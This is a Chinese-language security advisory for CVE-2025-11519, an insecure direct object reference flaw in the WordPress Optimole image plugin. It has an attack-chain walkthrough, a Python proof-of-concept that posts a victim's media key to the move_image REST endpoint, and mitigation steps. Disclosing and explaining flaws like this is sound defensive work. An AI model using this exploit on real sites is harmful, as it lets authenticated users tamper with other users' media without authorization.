IPBUF安全漏洞报告
English
CVE-2025-11519 CVSS 4.3 中危

CVE-2025-11519 WordPress Optimole插件IDOR漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2025-11519
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization(WordPress插件)

相关标签

IDOR不安全的直接对象引用WordPressOptimoleREST API权限提升媒体管理身份验证绕过中等严重性WordPress插件

漏洞概述

CVE-2025-11519是WordPress Optimole插件中存在的一个不安全的直接对象引用(Insecure Direct Object Reference, IDOR)漏洞。该插件是一款广泛使用的图像优化插件,提供WebP/AVIF格式转换、CDN加速及懒加载等功能,活跃安装量超过20万次。

该漏洞存在于插件的REST API端点`/wp-json/optml/v1/move_image`中。由于该端点在处理用户控制的参数(key)时缺少充分的验证,攻击者可以通过构造特定的请求,利用该接口将不属于自己(即其他用户上传)的媒体文件进行卸载(offload)操作。这意味着经过身份验证的攻击者可以操纵其他用户的媒体资源,可能导致未经授权的数据操作或资源归属混乱。

该漏洞由Wordfence安全团队的安全研究员发现并报告。根据CVSS 3.1评分标准,该漏洞评分为4.3分,属于中等严重等级。攻击者需要拥有Author级别及以上权限才能利用此漏洞,且无需用户交互。虽然该漏洞不会直接导致数据泄露或系统完全失陷,但其完整性影响为低,表明存在一定程度的未授权修改风险。

对于使用WordPress搭建网站且安装了Optimole插件的网站管理员来说,应及时关注该漏洞的修复进展,并在补丁发布后尽快更新插件版本,以避免潜在的安全风险。

技术细节

该漏洞的核心问题在于Optimole插件的`/wp-json/optml/v1/move_image` REST API端点未对用户控制的参数进行充分的验证和授权检查。

**漏洞原理:**
1. Optimole插件注册了一个REST API端点`/wp-json/optml/v1/move_image`,用于处理媒体文件的卸载操作,即将本地媒体文件迁移到Optimole的CDN服务。
2. 该端点接受一个用户控制的key参数,该参数用于标识要操作的媒体文件。
3. 插件在处理该请求时,未验证当前认证用户是否有权限操作所指定的媒体文件(即缺少对象级授权检查)。
4. 这导致任何具有Author级别及以上权限的用户都可以通过修改key参数的值,指定其他用户的媒体文件进行卸载操作。

**利用方式:**
1. 攻击者首先需要获取一个有效的WordPress账户,至少具有Author级别权限。
2. 攻击者通过WordPress的REST API认证机制(如Cookie认证或Application Password)获取有效的认证凭证。
3. 攻击者构造一个POST请求到`/wp-json/optml/v1/move_image`端点,在请求体中携带目标媒体文件的标识(key),该key可以指向其他用户上传的媒体文件。
4. 插件处理该请求时,由于缺少授权验证,会执行卸载操作,将目标媒体文件迁移到Optimole CDN。

**影响范围:**
- 所有版本至4.1.0(含4.1.0)的Optimole插件均受影响。
- 攻击者需要Author级别及以上权限(PR:L)。
- 攻击通过网络进行(AV:N),无需用户交互(UI:N)。
- 主要影响数据完整性(I:L),机密性和可用性不受影响。

攻击链分析

STEP 1
步骤1:获取认证凭证
攻击者获取一个具有Author级别及以上权限的WordPress账户,可以通过注册新账户、购买凭证或利用其他漏洞获取。
STEP 2
步骤2:收集目标媒体信息
攻击者通过WordPress REST API(如/wp-json/wp/v2/media)枚举目标网站上的媒体文件,获取其他用户上传的媒体文件标识(key或ID)。
STEP 3
步骤3:构造恶意请求
攻击者构造POST请求到/wp-json/optml/v1/move_image端点,在请求体中携带目标媒体文件的key参数,该key指向其他用户的媒体文件。
STEP 4
步骤4:发送认证请求
攻击者使用有效的认证凭证(Cookie或Application Password)和有效的REST API nonce发送请求,绕过身份验证。
STEP 5
步骤5:触发IDOR漏洞
插件处理请求时未验证当前用户是否有权限操作指定的媒体文件,执行卸载操作,将其他用户的媒体文件迁移到Optimole CDN。
STEP 6
步骤6:完成攻击
目标媒体文件被非法卸载,可能导致媒体文件归属混乱、CDN费用异常或业务流程中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11519 - Optimole Plugin IDOR Vulnerability PoC # Vulnerability: Insecure Direct Object Reference in /wp-json/optml/v1/move_image # Required: Author-level or higher authenticated access TARGET_URL = "https://target-wordpress-site.com" # Authenticated session cookies (requires Author+ level access) COOKIES = { "wordpress_logged_in_xxx": "authenticated_session_cookie_value", "wordpress_sec_xxx": "secure_session_cookie_value" } def exploit_move_image(target_media_key): """ Exploit the IDOR vulnerability to offload media belonging to other users. Args: target_media_key: The media identifier (key) of the victim's media file """ endpoint = f"{TARGET_URL}/wp-json/optml/v1/move_image" # Construct the payload with the target media key payload = { "key": target_media_key # User-controlled parameter without authorization check } headers = { "Content-Type": "application/json", "X-WP-Nonce": "valid_wp_rest_nonce", # Valid REST API nonce "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post( endpoint, headers=headers, cookies=COOKIES, json=payload, verify=False ) if response.status_code == 200: print(f"[+] Successfully exploited IDOR on media key: {target_media_key}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": # Example: Target a media file belonging to another user # The media key can be obtained by enumerating media items via WP REST API target_key = "victim_media_attachment_key_or_id" exploit_move_image(target_key)

影响范围

Optimole WordPress插件 <= 4.1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制对/wp-json/optml/v1/move_image REST API端点的访问,可以通过在.htaccess或nginx配置中添加规则实现;2)审查并最小化Author级别及以上用户的数量;3)使用Wordfence等安全插件的REST API限制功能,阻止未授权的API调用;4)监控媒体文件的变化日志,及时发现异常卸载行为;5)如非必要,可暂时禁用Optimole插件的媒体卸载功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表